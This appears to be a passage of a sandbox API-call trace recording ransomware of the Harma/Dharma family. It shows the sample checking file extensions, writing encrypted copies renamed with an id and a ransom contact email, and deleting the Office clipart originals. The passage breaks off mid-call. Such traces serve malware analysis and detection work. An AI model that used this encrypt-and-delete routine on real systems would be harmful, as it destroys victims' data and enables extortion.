[0167.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0167.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.165] lstrlenW (lpString=".doc") returned 4 [0167.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString=".docx") returned 5 [0167.166] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.166] lstrlenW (lpString=".pdf") returned 4 [0167.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString=".xls") returned 4 [0167.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.166] lstrlenW (lpString=".xlsx") returned 5 [0167.166] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.166] lstrlenW (lpString=".ppt") returned 4 [0167.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.166] lstrlenW (lpString=".zip") returned 4 [0167.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.166] lstrlenW (lpString=".rar") returned 4 [0167.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString=".bz2") returned 4 [0167.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString=".7z") returned 3 [0167.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.166] lstrlenW (lpString=".dbf") returned 4 [0167.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.166] lstrlenW (lpString=".1cd") returned 4 [0167.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.166] lstrlenW (lpString=".jpg") returned 4 [0167.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.167] lstrlenW (lpString=".doc") returned 4 [0167.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".docx") returned 5 [0167.167] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.167] lstrlenW (lpString=".pdf") returned 4 [0167.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".xls") returned 4 [0167.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.167] lstrlenW (lpString=".xlsx") returned 5 [0167.167] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.167] lstrlenW (lpString=".ppt") returned 4 [0167.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.167] lstrlenW (lpString=".zip") returned 4 [0167.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.167] lstrlenW (lpString=".rar") returned 4 [0167.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".bz2") returned 4 [0167.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString=".7z") returned 3 [0167.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.167] lstrlenW (lpString=".dbf") returned 4 [0167.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.167] lstrlenW (lpString=".1cd") returned 4 [0167.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0167.167] lstrlenW (lpString=".jpg") returned 4 [0167.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.168] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.168] lstrlenW (lpString="J0105272.WMF") returned 12 [0167.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0167.168] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=17728) returned 1 [0167.168] CloseHandle (hObject=0x348) returned 1 [0167.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0167.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0167.169] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.169] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.170] GetLastError () returned 0x0 [0167.170] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x4540, lpOverlapped=0x0) returned 1 [0167.402] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4550, lpOverlapped=0x0) returned 1 [0167.403] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.403] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.403] SetEndOfFile (hFile=0x330) returned 1 [0167.403] CloseHandle (hObject=0x330) returned 1 [0167.403] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.403] SetEndOfFile (hFile=0x348) returned 1 [0167.408] CloseHandle (hObject=0x348) returned 1 [0167.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0167.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.450] lstrlenW (lpString=".doc") returned 4 [0167.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.450] lstrlenW (lpString=".docx") returned 5 [0167.450] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.450] lstrlenW (lpString=".pdf") returned 4 [0167.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.450] lstrlenW (lpString=".xls") returned 4 [0167.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.450] lstrlenW (lpString=".xlsx") returned 5 [0167.450] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.450] lstrlenW (lpString=".ppt") returned 4 [0167.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.450] lstrlenW (lpString=".zip") returned 4 [0167.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.450] lstrlenW (lpString=".rar") returned 4 [0167.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.450] lstrlenW (lpString=".bz2") returned 4 [0167.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.450] lstrlenW (lpString=".7z") returned 3 [0167.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.450] lstrlenW (lpString=".dbf") returned 4 [0167.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.450] lstrlenW (lpString=".1cd") returned 4 [0167.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.450] lstrlenW (lpString=".jpg") returned 4 [0167.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.451] lstrlenW (lpString=".doc") returned 4 [0167.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.451] lstrlenW (lpString=".docx") returned 5 [0167.451] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.451] lstrlenW (lpString=".pdf") returned 4 [0167.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.451] lstrlenW (lpString=".xls") returned 4 [0167.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.451] lstrlenW (lpString=".xlsx") returned 5 [0167.451] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.451] lstrlenW (lpString=".ppt") returned 4 [0167.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.451] lstrlenW (lpString=".zip") returned 4 [0167.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.451] lstrlenW (lpString=".rar") returned 4 [0167.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.451] lstrlenW (lpString=".bz2") returned 4 [0167.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.451] lstrlenW (lpString=".7z") returned 3 [0167.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.451] lstrlenW (lpString=".dbf") returned 4 [0167.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.451] lstrlenW (lpString=".1cd") returned 4 [0167.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0167.452] lstrlenW (lpString=".jpg") returned 4 [0167.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.452] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.452] lstrlenW (lpString="J0105282.WMF") returned 12 [0167.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.453] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4796) returned 1 [0167.453] CloseHandle (hObject=0x378) returned 1 [0167.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20 [0167.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.454] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.454] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.455] GetLastError () returned 0x0 [0167.455] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x12bc, lpOverlapped=0x0) returned 1 [0167.491] WriteFile (in: hFile=0x370, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0167.492] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.492] WriteFile (in: hFile=0x370, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.492] SetEndOfFile (hFile=0x370) returned 1 [0167.492] CloseHandle (hObject=0x370) returned 1 [0167.492] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.492] SetEndOfFile (hFile=0x378) returned 1 [0167.494] CloseHandle (hObject=0x378) returned 1 [0167.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0167.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.640] lstrlenW (lpString=".doc") returned 4 [0167.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.640] lstrlenW (lpString=".docx") returned 5 [0167.640] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.640] lstrlenW (lpString=".pdf") returned 4 [0167.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.640] lstrlenW (lpString=".xls") returned 4 [0167.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.640] lstrlenW (lpString=".xlsx") returned 5 [0167.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.641] lstrlenW (lpString=".ppt") returned 4 [0167.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.641] lstrlenW (lpString=".zip") returned 4 [0167.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.641] lstrlenW (lpString=".rar") returned 4 [0167.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString=".bz2") returned 4 [0167.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString=".7z") returned 3 [0167.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.641] lstrlenW (lpString=".dbf") returned 4 [0167.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.641] lstrlenW (lpString=".1cd") returned 4 [0167.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.641] lstrlenW (lpString=".jpg") returned 4 [0167.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.641] lstrlenW (lpString=".doc") returned 4 [0167.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString=".docx") returned 5 [0167.641] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.641] lstrlenW (lpString=".pdf") returned 4 [0167.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.641] lstrlenW (lpString=".xls") returned 4 [0167.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.642] lstrlenW (lpString=".xlsx") returned 5 [0167.642] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.642] lstrlenW (lpString=".ppt") returned 4 [0167.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.642] lstrlenW (lpString=".zip") returned 4 [0167.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.642] lstrlenW (lpString=".rar") returned 4 [0167.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.642] lstrlenW (lpString=".bz2") returned 4 [0167.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.642] lstrlenW (lpString=".7z") returned 3 [0167.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.642] lstrlenW (lpString=".dbf") returned 4 [0167.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.642] lstrlenW (lpString=".1cd") returned 4 [0167.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0167.642] lstrlenW (lpString=".jpg") returned 4 [0167.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.642] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.642] lstrlenW (lpString="J0105294.WMF") returned 12 [0167.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0167.725] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5504) returned 1 [0167.725] CloseHandle (hObject=0x338) returned 1 [0167.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20 [0167.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.804] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.804] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0167.806] GetLastError () returned 0x0 [0167.806] ReadFile (in: hFile=0x33c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1580, lpOverlapped=0x0) returned 1 [0167.901] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1590, lpOverlapped=0x0) returned 1 [0167.902] ReadFile (in: hFile=0x33c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.902] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.902] SetEndOfFile (hFile=0x210) returned 1 [0167.902] CloseHandle (hObject=0x210) returned 1 [0167.902] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.902] SetEndOfFile (hFile=0x33c) returned 1 [0167.904] CloseHandle (hObject=0x33c) returned 1 [0167.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0167.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0167.924] lstrlenW (lpString=".doc") returned 4 [0167.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.925] lstrlenW (lpString=".docx") returned 5 [0167.925] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.925] lstrlenW (lpString=".pdf") returned 4 [0167.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.925] lstrlenW (lpString=".xls") returned 4 [0167.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.925] lstrlenW 